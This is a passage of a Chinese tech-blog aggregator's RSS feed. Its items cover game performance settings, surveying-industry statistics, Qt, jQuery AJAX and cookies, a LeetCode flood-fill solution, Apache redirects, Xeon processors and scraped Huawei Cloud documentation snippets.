能是为了防止画面撕裂，同时也会占用一些手机的内存，关掉就会让手机的流畅度得到一些提升，但是对于大部分的玩家来说，这个功能其实是完全没有必要开启的。&#xA;3.流畅自适应&#xA;而这个设定其实是最近才出现的设定，最后根据自己的手机情况来开启或者关闭这个流畅自适应的按钮！不过，目前大部分的玩家都会为了防止手机的温度过高，从而把这个流畅自适应给关闭！就算是再好的手机配置，其实都是需要把这个按钮关闭了！&#xA;而以上就是今天小编总结的方法，一些防止在游戏中卡顿的办法，大家赶紧学起来吧！反正小编就是按着以上的三种方法来提升刺激战场的流畅度！假如还有玩家说玩起来依旧卡顿的话，那么这位朋友你就只能默默的换手机了，不过大家也别太担心，大部分的手机都是可以完美运行刺激战场这个游戏了，大家千万别再抱怨手机啦，手机是无辜的，玩起来卡顿就马上把这三点改一点吧！&#xA;我是金焕，今天的文章到这里也是结束了，欢迎大家在这篇文章的底部评论，或者是发表出你的观点，小编会很认真的阅读你发表的评论，你的评论是金焕的动力，谢谢大家的阅读。&#xA;举报/反馈</description>
    </item>
    <item>
      <title>测绘地理信息公司服务器,2018年测绘地理信息行业整体发展情况，及各类资质企业运行情况[图]...</title>
      <link>https://bchobby.github.io/posts/82644788fd2141253b45362aa416439d/</link>
      <pubDate>Fri, 06 Aug 2021 11:27:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82644788fd2141253b45362aa416439d/</guid>
      <description>2017年中国测绘地理信息服务总值为1042.95亿元，测绘资质单位服务总值1024.93亿元；2018年测绘地理信息服务总值估计为1141.21亿元，测绘资质单位服务总值估计为1122.36亿元。&#xA;2011-2018年中国测绘地理信息行业测绘资质单位服务总值情况&#xA;资料来源：国家资源部、智研咨询整理、智研咨询整理&#xA;随着测绘地理信息行业的发展潜力逐渐被激发，行业内单位自律性不断提高，测绘地理信息市场秩序不断优化，测绘资质单位数量不断增加。2016年末，全国测绘资质单位总数达到17292家，比上年末净增加1361家。2017年末，全国测绘资质单位总数达到18636家，比上年末净增加1344家。2018年我国测绘资质单位数量预计达到19725个。&#xA;2011-2018年中国地理信息服务测绘资质单位企业数量情况&#xA;资料来源：国家资源部、智研咨询整理&#xA;随着行业的扩张，行业从业人数快速增加，2017年行业从业人数达到45.6万人，2018年人数预计为47.8万人。&#xA;2011-2018年中国测绘地理信息行业年末从业人员情况&#xA;资料来源：国家资源部、智研咨询整理&#xA;按学历情况分，大学本科及以上学历占总数的 57.8%，其中硕士研究生及以上学历占总数的 12.5%。&#xA;测绘地理信息系统从业人员学历分布情况&#xA;资料来源：国家资源部、智研咨询整理、智研咨询整理&#xA;2018 年末，测绘地理信息系统共有专业技术人员约 19405人，其中高级专业技术人员数量约3756人。&#xA;2012-2018年测绘地理信息系统高级专业技术人员数量走势图&#xA;资料来源：国家资源部、智研咨询整理&#xA;1、甲级资质企业运行情况&#xA;近年来，我国甲级测绘资质单位数量不断增加，2017年甲级测绘资质单位数量1044个，2018年增至1144个。&#xA;2011-2018年中国甲级资质单位数量&#xA;资料来源：智研咨询整理&#xA;2017年我国甲级测绘资质单位从业人员数为14.63万人，2018年为15.60万人，同比增长6.63%。&#xA;2011-2018年甲级测绘资质单位从业人员数量&#xA;资料来源：智研咨询整理&#xA;2017年我国甲级测绘资质单位服务总值594.45亿元，2018年为658.83亿元，同比增长10.83%。&#xA;2011-2018年甲级资质服务总值&#xA;资料来源：智研咨询整理&#xA;2、亿级资质企业运行情况&#xA;近年来，我国乙级测绘资质单位数量不断增加，2017年乙级测绘资质单位数量4100个，2018年增至4517个。&#xA;2011-2018年中国乙级资质单位数量&#xA;资料来源：智研咨询整理&#xA;2017年我国乙级测绘资质单位从业人员数为15.76万人，2018年为16.64万人，同比增长5.58%。&#xA;2011-2018年乙级测绘资质单位从业人员数量&#xA;资料来源：智研咨询整理&#xA;2017年我国乙级测绘资质单位服务总值263.41亿元，2018年为283.96亿元，同比增长7.80%。&#xA;2011-2018年乙级资质服务总值&#xA;资料来源：智研咨询整理&#xA;3、丙级资质企业运行情况&#xA;近年来，我国丙级测绘资质单位数量不断增加，2017年丙级测绘资质单位数量7175个，2018年增至7732个。&#xA;2011-2018年中国丙级资质单位数量&#xA;资料来源：智研咨询整理&#xA;2017年我国丙级测绘资质单位从业人员数为10.11万人，2018年为10.49万人，同比增长3.75%。&#xA;2011-2018年丙级测绘资质单位从业人员数量&#xA;资料来源：智研咨询整理&#xA;2017年我国丙级测绘资质单位服务总值119.92亿元，2018年为130.19亿元，同比增长8.56%。&#xA;2011-2018年丙级资质服务总值&#xA;资料来源：智研咨询整理&#xA;4、丁级资质企业运行情况&#xA;我国丁级测绘资质单位数量基本维持稳定，2017年丁级测绘资质单位数量6317个，2018年为6332个。&#xA;2011-2018年中国丁级测绘资质单位数量&#xA;资料来源：智研咨询整理&#xA;2017年我国丁级测绘资质单位从业人员数为4.65万人，2018年为4.54万人，同比下降2.36%。&#xA;2011-2018年丁级测绘资质单位从业人员数量&#xA;资料来源：智研咨询整理&#xA;2017年我国丁级测绘资质单位服务总值47.15亿元，2018年为49.38亿元，同比增长4.73%。&#xA;2011-2018年丁级资质服务总值&#xA;资料来源：智研咨询整理</description>
    </item>
    <item>
      <title>添加一个模块至Qt工程</title>
      <link>https://bchobby.github.io/posts/052b36242c4d6916fdbd2a530eba53ae/</link>
      <pubDate>Fri, 06 Aug 2021 10:56:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/052b36242c4d6916fdbd2a530eba53ae/</guid>
      <description>添加一个模块，本质上就是相当于添加一个类。&#xA;1.在Qt工程所在文件夹新建一个文件夹，命名模块名。&#xA;2.在Qt工程中添加文件夹路径，在Qt界面项目栏右击工程名，选择如下：&#xA;在弹出界面中选中文件夹，点击“OK”，添加完成。&#xA;3.Qt界面右击工程名，选择“Add New…”→“Qt设计师界面类”。&#xA;点击“Choose…”，进入下一步。&#xA;4.在弹出的对话框中，选择需要添加的模块类型。&#xA;例如，想添加一个界面模块，则点击“Widget”；想添加一个在下方有按钮的对话框，则选择“Dialog with Buttons Bottom”。&#xA;这里选择“Dialog with Buttons Bottom”，选好后点击“下一步”。&#xA;5.重命名模块的类名和存储路径。&#xA;重写类名，则下面的头文件、源文件和界面文件名称也会随之改变。&#xA;点击“浏览”，选择以上三个文件的存储路径，在弹出的对话框中选中刚才新建的文件夹。&#xA;6.按照Qt提示流程，最后点击“完成”，则在Qt工程树中添加了这个新建模块的文件夹及三个文件。&#xA;后面，就可以编辑以上三个文件来构造这个新模块。</description>
    </item>
    <item>
      <title>服务器数据库修改,服务器数据库修改</title>
      <link>https://bchobby.github.io/posts/77fe46649d6270654a6f7e1359235c5c/</link>
      <pubDate>Fri, 06 Aug 2021 10:37:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77fe46649d6270654a6f7e1359235c5c/</guid>
      <description>服务器数据库修改 内容精选&#xA;换一换&#xA;数据安全中心与周边服务的依赖关系如图1所示。对象存储服务(Object Storage Service，简称OBS)是一款稳定、安全、高效、易用的云存储服务，具备标准Restful API接口，可存储任意数量和形式的非结构化数据。经用户授权后，数据安全中心可以为OBS提供敏感数据自动识别分类、用户异常行为分析、数据保护三大服务。关系型数据&#xA;为确保华为云关系型数据库服务发挥出最优性能，用户可根据业务需求对用户创建的参数模板中的参数进行调整。您可以修改用户创建的数据库参数模板中的参数值，但不能更改默认数据库参数模板中的参数值。以下是您在使用数据库参数模板中的参数时应了解的几个要点：如果您单击实例名称，在参数修改页面修改当前实例的参数模板，更改动态参数并保存数据库参数模板时，系统&#xA;服务器数据库修改 相关内容&#xA;本文档以测试MySQL数据库为例,Mariadb、Percona测试步骤与MySQL相同。登录MySQL数据库。/usr/local/mysql/bin/mysql -uroot -p123456 -S /data/mysql/run/mysql.sock创建数据库sysbench。create database sysbench;&#xA;sh&#xA;您需要确保您的应用程序所在的弹性云服务器与云数据库RDS实例在同一个虚拟私有云。如果不在，需要修改虚拟私有云中的路由表和网络ACL，以确保应用程序所在的弹性云服务器能够访问云数据库RDS实例。&#xA;服务器数据库修改 更多内容&#xA;WordPress简称WP，最初是一款博客系统，后逐步演化成一款免费的CMS(内容管理系统/建站系统)。本文档指导用户使用华为云市场镜像“Wordpress官方正式版”部署WordPress博客系统。已购买虚拟私有云和弹性公网IP。如果规划为网站配置域名，需已经购买好相应的域名。弹性云服务器所在安全组添加了如表1所示的安全组规则，具体步骤&#xA;数据库安全服务支持华为云的以下数据库：关系型数据库(Relational Database Service，RDS)弹性云服务器(Elastic Cloud Server ，ECS)的自建数据库裸金属服务器(Bare Metal Server，BMS)的自建数据库&#xA;文档数据库服务提供使用数据管理服务(Data Admin Service，简称DAS)、内网和公网的连接方式。文档数据库服务默认为您开通了远程主机登录权限，推荐您使用更安全便捷的数据管理服务连接实例，具体请参见通过数据管理服务连接副本集实例(推荐)。&#xA;“数据导入”章节适用于MRS 3.x及后续版本。Loader是实现MRS与外部数据源如关系型数据库、SFTP服务器、FTP服务器之间交换数据和文件的ETL工具，支持将数据或文件从关系型数据库或文件系统导入到MRS系统中。Loader支持如下数据导入方式：从关系型数据库导入数据到HDFS/OBS从关系型数据库导入数据到HBase从关系型数据&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;云服务器备份在支持崩溃一致性备份的基础上，同时支持数据库备份。文件/磁盘数据在同一时间点，通过数据库备份内存数据，能够保证应用系统一致性，如包含MySQL或SAP HANA数据库的弹性云服务器。暂不支持集群的应用一致性，如MySQL Cluster，只支持单个服务器上应用的一致性。建议在业务量较小的时间段执行数据库备份。登录管理控制台。单&#xA;PostgreSQL支持逻辑备份。您可使用pg_dump逻辑备份功能，导出备份文件，再通过psql导入到RDS中，实现将PostgreSQL的数据导入到云数据库RDS中。云数据库RDS服务支持开启公网访问功能，通过弹性公网IP进行访问。您也可通过弹性云服务器的内网访问云数据库RDS。准备弹性云服务器或可公网访问云数据库RDS。通过弹性云服&#xA;安全组是一个逻辑上的分组，为同一个虚拟私有云VPC内具有相同安全保护需求并相互信任的弹性云服务器提供访问策略。安全组创建后，用户可以在安全组中定义各种访问规则，当弹性云服务器加入该安全组后，即受到这些访问规则的保护。安全组的默认规则是在出方向上的数据报文全部放行，安全组内的弹性云服务器无需添加规则即可互相访问。系统会为每个云帐号默认创建一&#xA;配置应用系统的跨云热备容灾方案如图1所示。在如图1所示的方案中，用户的生产数据中心的应用系统使用MySQL作为数据库，应用系统与MySQL均热备容灾到华为云上。用户的生产数据中心与华为云之间使用专线进行网络连接。当生产数据中心发生灾难时，用户需要将原生产数据中心的业务故障转移到容灾端(即华为云)，并将业务流量的请求引流到华为云上ELB，实&#xA;使用整机镜像迁移数据库时，为了更低的RTO，推荐您在使用整机迁移的基础上，再使用备份恢复或者配置数据复制(例如HANA SR)的方式进行数据库的迁移。建议在业务量低峰期执行此操作。以下以HANA数据库为例，说明如何以更低RTO进行迁移。使用HSR进行迁移在发放了新的HANA数据库后，使用HANA系统复制进行数据的同步，方案如图1所示，详情&#xA;RDS for SQL Server实例将默认开启SQL审计功能，并且不支持关闭。SQL审计功能会将对服务级、数据库级、表级的主要变更操作记录进审计日志文件，方便用户查看并下载。使用 SQL Server Audit 功能，你可以对服务器级别和数据库级别事件组以及各个事件进行审核，SQL Server 审核包括零个或多个审核操作项目。表1</description>
    </item>
    <item>
      <title>服务器型号E52680,e5 2680v3 云服务器</title>
      <link>https://bchobby.github.io/posts/5c756d94a9c6d31bec239d85c2c830f3/</link>
      <pubDate>Fri, 06 Aug 2021 10:34:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c756d94a9c6d31bec239d85c2c830f3/</guid>
      <description>e5 2680v3 云服务器 内容精选&#xA;换一换&#xA;将云服务器加入云服务器组。添加成功后，该云服务器与云服务器组中的其他成员尽量分散地创建在不同主机上。仅支持添加虚拟化类型为KVM的弹性云服务器。当前只支持反亲和性策略，即同一云服务器组中的弹性云服务器分散地创建在不同的主机上，提高业务的可靠性。该接口支持企业项目细粒度权限的校验，具体细粒度请参见 ecs:cloudServers:cre&#xA;查询指定ID的健康检查详情。GET /v2.0/lbaas/healthmonitors/{healthmonitor_id}无请求样例 查询健康检查详情GET https://{Endpoint}/v2.0/lbaas/healthmonitors/b7633ade-24dc-4d72-8475-06aa22be5412响应样例{&#xA;e5 2680v3 云服务器 相关内容&#xA;变更指定保护实例中弹性云服务器的规格，包括：同时变更生产站点云服务器和容灾站点云服务器的规格。仅变更生产站点云服务器的规格，容灾站点云服务器规格不变。生产站点云服务器规格不变，仅变更容灾站点云服务器的规格。当且仅当待变更规格的云服务器处于关机状态时，才能执行此操作。不同规格的云服务器在性能上存在差异，可能会对云服务器上运行的应用产生影响。&#xA;查看指定VPC通道的云服务器列表。HTTP/HTTPS请求方法以及URI如下表所示。可以在URI后面用‘?’和‘&amp;amp;’添加不同的查询条件组合。查询条件可为以下字段以及对应的值：name、page_size、page_no。URI中的参数说明如下表所示。无响应消息样例：&#xA;e5 2680v3 云服务器 更多内容&#xA;根据指定ID查询监听器详情。GET /v2.0/lbaas/listeners/{listener_id}无请求样例 查询监听器详情GET https://{Endpoint}/v2.0/lbaas/listeners/09e64049-2ab0-4763-a8c5-f4207875dc3e响应样例{&#xA;&#34;listener&#34;: {&#xA;创建一台或多台云服务器。V1.1版本创建云服务器的接口兼容了V1版本创建云服务器(按需)的功能，同时合入新功能，支持创建包年/包月的弹性云服务器。本接口为异步接口，当前创建云服务器请求下发成功后会返回job_id，此时创建云服务器并没有立即完成，需要通过调用查询任务的执行状态查询job状态，当Job状态为 SUCCESS 时代表云服务器创&#xA;根据云服务器ID，查询云服务器的详细信息。您可以在API Explorer中直接运行调试该接口。GET /v2.1/{project_id}/servers/{server_id}参数说明请参见表1。参数说明参数是否必选描述project_id是项目ID。获取方法请参见获取项目ID。server_id是云服务器ID。无响应参数如表2所示。&#xA;重装弹性云服务器的操作系统。调用该接口后，系统将卸载系统盘，然后使用原镜像重新创建系统盘，并挂载至弹性云服务器，实现重装操作系统功能。该接口支持未安装Cloud-init或Cloudbase-init的镜像，如果镜像安装了Cloud-init或者Cloudbase-init，请使用 重装弹性云服务器操作系统(安装Cloud-init)接口&#xA;查询云服务器规格信息列表。GET /v2.1/{project_id}/flavors/detail?minDisk={minDisk}&amp;amp;minRam={minRam}&amp;amp;sort_key={sort_key}&amp;amp;sort_dir={sort_dir}参数说明请参见表1。路径参数参数是否必选描述project_id是项目ID。获取方法请参见获&#xA;切换弹性云服务器操作系统。调用该接口后，系统将卸载系统盘，然后使用新镜像重新创建系统盘，并挂载至弹性云服务器，实现切换操作系统功能。该接口支持未安装Cloud-init或Cloudbase-init的镜像使用，如果镜像安装了Cloud-init或者Cloudbase-init，请使用 切换弹性云服务器操作系统(安装Cloud-init)接&#xA;查询云服务器组详情。GET /v2.1/{project_id}/os-server-groups/{server_group_id}参数说明请参见表1。参数说明参数是否必选描述project_id是项目ID。获取方法请参见获取项目ID。server_group_id是弹性云服务器组UUID。无响应参数如表2所示。请参考通用请求返回值。&#xA;将弹性云服务器移出云服务器组。移出后，该云服务器与云服务器组中的成员不再遵从反亲和策略。当前只支持反亲和性策略，即同一云服务器组中的弹性云服务器分散地创建在不同的主机上，提高业务的可靠性。该接口支持企业项目细粒度权限的校验，具体细粒度请参见 ecs:cloudServers:deletePOST /v1/{project_id}/clou&#xA;给云服务器添加一张网卡。添加云服务器网卡应用示例请参考弹性云服务器挂载网卡。POST /v2.1/{project_id}/servers/{server_id}/os-interface参数说明请参见表1。参数说明参数是否必选描述project_id是项目ID。获取方法请参见获取项目ID。server_id是云服务器ID。请求参数如表2&#xA;查询弹性云服务器挂载的磁盘信息。GET /v2.1/{project_id}/servers/{server_id}/os-volume_attachments参数说明请参见表1。参数说明参数是否必选描述project_id是项目ID。获取方法请参见获取项目ID。server_id是云服务器ID。无响应参数响应参数如表2所示。响应参数参数&#xA;弹性云服务器卸载磁盘。弹性云服务器状态为stopped时支持系统盘(也就是/dev/sda挂载点)和用户盘的卸载，没有操作系统限制，也不需要在弹性云服务器内部安装vmtools。弹性云服务器状态为active态时有如下约束限制：仅支持对数据盘盘位(非/dev/sda挂载点)的卸载。请确认弹性云服务器已安装vmtools并且正常启用，否则会</description>
    </item>
    <item>
      <title>jq $.ajax 参数,JQuery $.ajax() 方法示例与参数说明</title>
      <link>https://bchobby.github.io/posts/5557efe9e2994b50eacd218f0fd53065/</link>
      <pubDate>Fri, 06 Aug 2021 09:07:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5557efe9e2994b50eacd218f0fd53065/</guid>
      <description>JQuery $.ajax() 方法示例与参数说明&#xA;## 示例&#xA;```js&#xA;$.ajax({&#xA;url : &#39;url&#39;,&#xA;type : &#39;post&#39;,&#xA;data : {&#xA;&#39;s&#39; : &#39;s&#39;&#xA;},&#xA;beforeSend : function(XMLHttpRequest) {&#xA;alert(&#34;发起请求前调用.&#34;);&#xA;return true; // return false 取消本次请求&#xA;},&#xA;success : function(data, textStatus) {&#xA;alert(data);&#xA;alert(textStatus);&#xA;},&#xA;error : function(XMLHttpRequest, textStatus, errorThrown) {&#xA;alert(XMLHttpRequest.status); // http状态码&#xA;alert(XMLHttpRequest.readyState); // 状态码&#xA;// 0 － (未初始化)还没有调用send()方法&#xA;// 1 － (载入)已调用send()方法，正在发送请求&#xA;// 2 － (载入完成)send()方法执行完成，已经接收到全部响应内容&#xA;// 3 － (交互)正在解析响应内容&#xA;// 4 － (完成)响应内容解析完成，可以在客户端调用了</description>
    </item>
    <item>
      <title>LeetCode刷题第七天（图像渲染）</title>
      <link>https://bchobby.github.io/posts/e229a4648a3fb7d9122e5dda5f46ca1b/</link>
      <pubDate>Fri, 06 Aug 2021 09:06:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e229a4648a3fb7d9122e5dda5f46ca1b/</guid>
      <description>文章目录 题目描述方法一：广度优先搜索算法思路JAVA代码算法复杂度 方法二：深度优先搜索算法思想JAVA代码算法复杂度 题目描述 有一幅以二维整数数组表示的图画，每一个整数表示该图画的像素值大小，数值在 0 到 65535 之间。&#xA;给你一个坐标 (sr, sc) 表示图像渲染开始的像素值（行 ，列）和一个新的颜色值 newColor，让你重新上色这幅图像。&#xA;为了完成上色工作，从初始坐标开始，记录初始坐标的上下左右四个方向上像素值与初始坐标相同的相连像素点，接着再记录这四个方向上符合条件的像素点与他们对应四个方向上像素值与初始坐标相同的相连像素点，……，重复该过程。将所有有记录的像素点的颜色值改为新的颜色值。&#xA;最后返回经过上色渲染后的图像。&#xA;示例一：&#xA;输入: image = [[1,1,1],[1,1,0],[1,0,1]] sr = 1, sc = 1, newColor = 2 输出: [[2,2,2],[2,2,0],[2,0,1]] 解析: 在图像的正中间，(坐标(sr,sc)=(1,1)), 在路径上所有符合条件的像素点的颜色都被更改成2。 注意，右下角的像素没有更改为2， 因为它不是在上下左右四个方向上与初始点相连的像素点。 方法一：广度优先搜索 算法思路 本题要求将给定的二维数组中指定的「色块」染成另一种颜色。「色块」的定义是：直接或间接相邻的同色方格构成的整体。&#xA;可以发现，「色块」就是被不同颜色的方格包围的一个同色岛屿。我们从色块中任意一个地方开始，利用广度优先搜索或深度优先搜索即可遍历整个岛屿。&#xA;注意：当目标颜色和初始颜色相同时，我们无需对原数组进行修改。&#xA;我们从给定的起点开始，进行广度优先搜索。每次搜索到一个方格时，如果其与初始位置的方格颜色相同，就将该方格加入队列，并将该方格的颜色更新，以防止重复入队。&#xA;注意：因为初始位置的颜色会被修改，所以我们需要保存初始位置的颜色，以便于之后的更新操作。&#xA;JAVA代码 class Solution { int[] dx = {1, 0, 0, -1}; int[] dy = {0, 1, -1, 0}; public int[][] floodFill(int[][] image, int sr, int sc, int newColor) { int currColor = image[sr][sc]; if (currColor == newColor) { return image; } int n = image.</description>
    </item>
    <item>
      <title>ajax提交表单重定向不行,如果浏览器被重定向，它们不会在ajax调用中重新发送表单数据？...</title>
      <link>https://bchobby.github.io/posts/ea0e70d087c89af598c97f2f06a46d60/</link>
      <pubDate>Fri, 06 Aug 2021 08:59:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea0e70d087c89af598c97f2f06a46d60/</guid>
      <description>我一直在修改我的网站上的URL重写和修正我的URL的规范化(所以我没有在搜索引擎等重复数据)，并建议无处不在或总是删除/强制结尾斜杠(我选择删除它)，也重定向/索引。所以我把下面的两个规则在我的.htaccess为Apache的mod_rewrite回暖：如果浏览器被重定向，它们不会在ajax调用中重新发送表单数据？&#xA;--remove斜线&#xA;RewriteRule ^(.+)/$ http://%{HTTP_HOST}/$1 [R=301,L]&#xA;--remove尾随/指数&#xA;RewriteRule ^(.*)/?index$ http://%{HTTP_HOST}/$1 [R=301,L]&#xA;这些规则工作在浏览器中很好。但是，我的一些ajax表单突然停止运行！我在Chrome和Firefox(Firebug)中找到了它，发生的事情非常奇怪。在这两种浏览器，页面做一个AJAX调用：&#xA;/ajax/index (ajax params intact) --&amp;gt; 301 redirect to /ajax/&#xA;/ajax/ (ajax params are no longer sent!) --&amp;gt; 301 redirect to /ajax&#xA;/ajax (ajax params again not sent) --&amp;gt; 200 OK but obviously script complains that params don&#39;t exist&#xA;任何人都可以证实，这种情况还是我失去了它？如果是这样，为什么它会这样呢？是否有一个适当的解决方案来修复它(除了改变我所有的Ajax调用永不会重定向，例如/ajax)？&#xA;非常感谢您为您的时间家伙:)&#xA;干杯&#xA;阿里&#xA;2010-07-31&#xA;Ali</description>
    </item>
    <item>
      <title>ajax设置cookie属性,jQuery AJAX响应设置Cookie标头</title>
      <link>https://bchobby.github.io/posts/fa6d7c8d81196287132113b432531d03/</link>
      <pubDate>Fri, 06 Aug 2021 07:52:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa6d7c8d81196287132113b432531d03/</guid>
      <description>您可以从XMLHTTPRequest获取标题。这可能有帮助。让我知道这是否正常。&#xA;$.ajax({&#xA;type: &#39;POST&#39;,&#xA;url:&#39;url.do&#39;,&#xA;data: formData,&#xA;success: function(data, textStatus, XMLHttpRequest){&#xA;var cookietoSet=XMLHttpRequest.getResponseHeader(&#39;Set-Cookie&#39;);&#xA;Set_Cookie(cookietoSet.split(&#39;=&#39;)[0],cookietoSet.split(&#39;=&#39;)[1],expires, path, domain, secure)//change as per ur needs&#xA;}&#xA;error: function (XMLHttpRequest, textStatus, errorThrown) {&#xA;alert(XMLHttpRequest.getResponseHeader(&#39;some_header&#39;));&#xA;}&#xA;});&#xA;function Set_Cookie(name, value, expires, path, domain, secure)&#xA;{&#xA;// set time, it&#39;s in milliseconds&#xA;var today = new Date();&#xA;today.setTime(today.getTime());&#xA;/*&#xA;if the expires variable is set, make the correct&#xA;expires time, the current script below will set</description>
    </item>
    <item>
      <title>动环监控系统的服务器配置,动环监控系统服务器维护</title>
      <link>https://bchobby.github.io/posts/9ea8540d0a6ab40fd67eff4907d970c4/</link>
      <pubDate>Fri, 06 Aug 2021 07:06:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ea8540d0a6ab40fd67eff4907d970c4/</guid>
      <description>动环监控系统服务器维护 内容精选&#xA;换一换&#xA;Atlas 500 Pro 智能边缘服务器(型号 3000)安装上架、服务器基础参数配置、安装操作系统等操作请参见《Atlas 500 Pro 智能边缘服务器 用户指南(型号 3000)》，安装操作系统完成后，配置业务网口IP地址，请参见配置网卡IP地址。Atlas 500 Pro 智能边缘服务器(型号 3000)适配操作系统如表1所示。&#xA;云数据迁移(Cloud Data Migration，简称CDM)服务基于分布式计算框架，利用并行化处理技术，使用CDM迁移数据的优势如表1所示。&#xA;动环监控系统服务器维护 相关内容&#xA;Atlas 800 推理服务器(型号 3000)安装上架、服务器基础参数配置、安装操作系统等操作请参见《Atlas 800 推理服务器 用户指南(型号 3000)》，安装操作系统完成后，配置业务网口IP地址，请参见配置网卡IP地址。Atlas 800 推理服务器(型号 3000)适配操作系统如表1所示。Atlas 800 推理服务器(型号&#xA;在企业主机安全控制台上使用漏洞管理功能修复系统软件漏洞时，如果提示漏洞修复失败，请参见以下可能原因：建议您参考漏洞修复与验证章节对您服务器上的漏洞进行修复。补丁安装包下载不成功您的服务器可能无访问公网权限，请在能访问Internet后，重新执行漏洞修复操作。您的服务器可能无访问公网权限，请在能访问Internet后，重新执行漏洞修复操作。&#xA;动环监控系统服务器维护 更多内容&#xA;oVirt Engine是运行在基于JBoss的Java应用程序。该服务与主机上的VDSM进行通信，以部署、启动、停止、迁移和监控VM，并且还可以通过模板在存储上创建新的镜像。oVirt Engine以可扩展性、安全性、高性能为基础的架构技术，为大规模服务器和桌面虚拟化提供集中式管理。oVirt提供的具体功能如下：虚拟机生命周期管理网络管&#xA;Atlas 800 推理服务器(型号 3000)安装上架、服务器基础参数配置、安装操作系统等操作请参见《Atlas 800 推理服务器 用户指南(型号 3000)》，安装操作系统完成后，配置业务网口IP地址，请参见配置网卡IP地址。Atlas 800 推理服务器(型号 3000)适配操作系统如表1所示。Atlas 800 推理服务器(型号&#xA;Atlas 800 推理服务器(型号 3000)安装上架、服务器基础参数配置、安装操作系统等操作请参见《Atlas 800 推理服务器 用户指南(型号 3000)》，安装操作系统完成后，配置业务网口IP地址，请参见配置网卡IP地址。Atlas 800 推理服务器(型号 3000)适配操作系统如表1所示。Atlas 800 推理服务器(型号&#xA;镜像是一个包含了软件及必要配置的服务器或磁盘模版，包含操作系统或业务数据，还可以包含应用软件(例如，数据库软件)和私有软件。镜像分为公共镜像、私有镜像、共享镜像、市场镜像。镜像服务(Image Management Service)提供镜像的生命周期管理能力。用户可以灵活地使用公共镜像、私有镜像或共享镜像申请弹性云服务器和裸金属服务器。同</description>
    </item>
    <item>
      <title>服务器芯片功耗,Intel推18核心服务器U：功耗实在夸张</title>
      <link>https://bchobby.github.io/posts/3ae695a1a841934733a9feadbbb4e519/</link>
      <pubDate>Fri, 06 Aug 2021 07:03:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ae695a1a841934733a9feadbbb4e519/</guid>
      <description>从Intel的一份技术文档里，我们发现了四款新的服务器处理器，包括Broadwell家族的单路型Xeon E3-1270 v4，Haswell家族的顶级Xeon E7-4805/8892/8895 v3。前三款的具体规格毫无资料，最后一款则已经悄然出现在Intel ARK数据库中，而且是已宣布状态。&#xA;图片均来自驱动之家&#xA;Xeon E7-8895 v3是一款18核心型号，36线程，45MB三级缓存，基准频率2.6GHz，最高加速频率3.5GHz，热设计功耗175W。&#xA;相比于已有的旗舰级18核心E7-8890 v3，它的基准、加速频率分别提高了100MHz、200MHz，而代价就是热设计功耗也增加了10W。简单查阅了一下，175W这已经是Xeon家族的功耗历史记录了(Itanium安腾有185W的)。&#xA;它们俩都采用22nm工艺制造，LGA2011封装接口，支持四通道DDR4-1866、DDR3-1600内存，最大容量1.5TB，最高支持八路并行，也就是系统内存可达12TB。价格方面未披露，但是E7-8890 v3就已经要7174美元，约合人民币4.45万元，E7-8895 v3只会更贵。&#xA;//mb.zol.com.cn/528/5280184.html&#xA;mb.zol.com.cn&#xA;true&#xA;中关村在线&#xA;//mb.zol.com.cn/528/5280184.html&#xA;report&#xA;819&#xA;从Intel的一份技术文档里，我们发现了四款新的服务器处理器，包括Broadwell家族的单路型Xeon E3-1270 v4，Haswell家族的顶级Xeon E7-4805/8892/8895 v3。前三款的具体规格毫无资料，最后一款则已经悄然出现在Intel ARK数据库中，而且是已宣布状...</description>
    </item>
    <item>
      <title>服务器维保转包协议,服务器按需转包周期</title>
      <link>https://bchobby.github.io/posts/0cfb0b47e786609e6a67c04ef6b2dcbe/</link>
      <pubDate>Fri, 06 Aug 2021 06:50:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cfb0b47e786609e6a67c04ef6b2dcbe/</guid>
      <description>服务器按需转包周期 内容精选&#xA;换一换&#xA;客户可以将资源的计费模式由按需转为包年/包月。按需转包年/包月，会生成新的订单，客户支付订单后，包年/包月资源立即生效。示例：客户在2018/09/21 09:25:34购买了一台按需的云服务器ECS 01。由于业务需要，客户在2018/10/15 10:30:34执行按需转包年/包月操作，生成类型为“按需转包年/包月”的订单。用户支付订&#xA;服务器按需转包周期 相关内容&#xA;弹性云服务器(Elastic Cloud Server)是一种可随时自动获取、计算能力可弹性伸缩的云服务器，可帮助您打造可靠、安全、灵活、高效的应用环境，确保服务持久稳定运行，提升运维效率。&#xA;按需计费：按需计费是后付费模式，按弹性云服务器的实际使用时长计费，可以随时开通/删除弹性云服务器。包年/包月：包年/包月是预付费模式，按订单的购买周期计费，适用于可预估资源使用周期的场景，价格比按需计费模式更优惠。“包年/包月”的弹性云服务器也称“包周期”云服务器。如果您需要长期使用当前弹性云服务器，可以将按需购买的云服务器转为包周期计费&#xA;服务器按需转包周期 更多内容&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;华为云支持包年/包月和按需计费模式互相切换。按需计费转换为包年/包月：按需计费是后付费模式，按弹性云服务器的实际使用时长计费，可以随时开通/删除弹性云服务器。如果您需要长期使用当前弹性云服务器，可以将按需购买的云服务器转为包周期计费模式，节省开支。具体操作，请参考按需转包周期。按需计费是后付费模式，按弹性云服务器的实际使用时长计费，可以随&#xA;弹性云服务器(Elastic Cloud 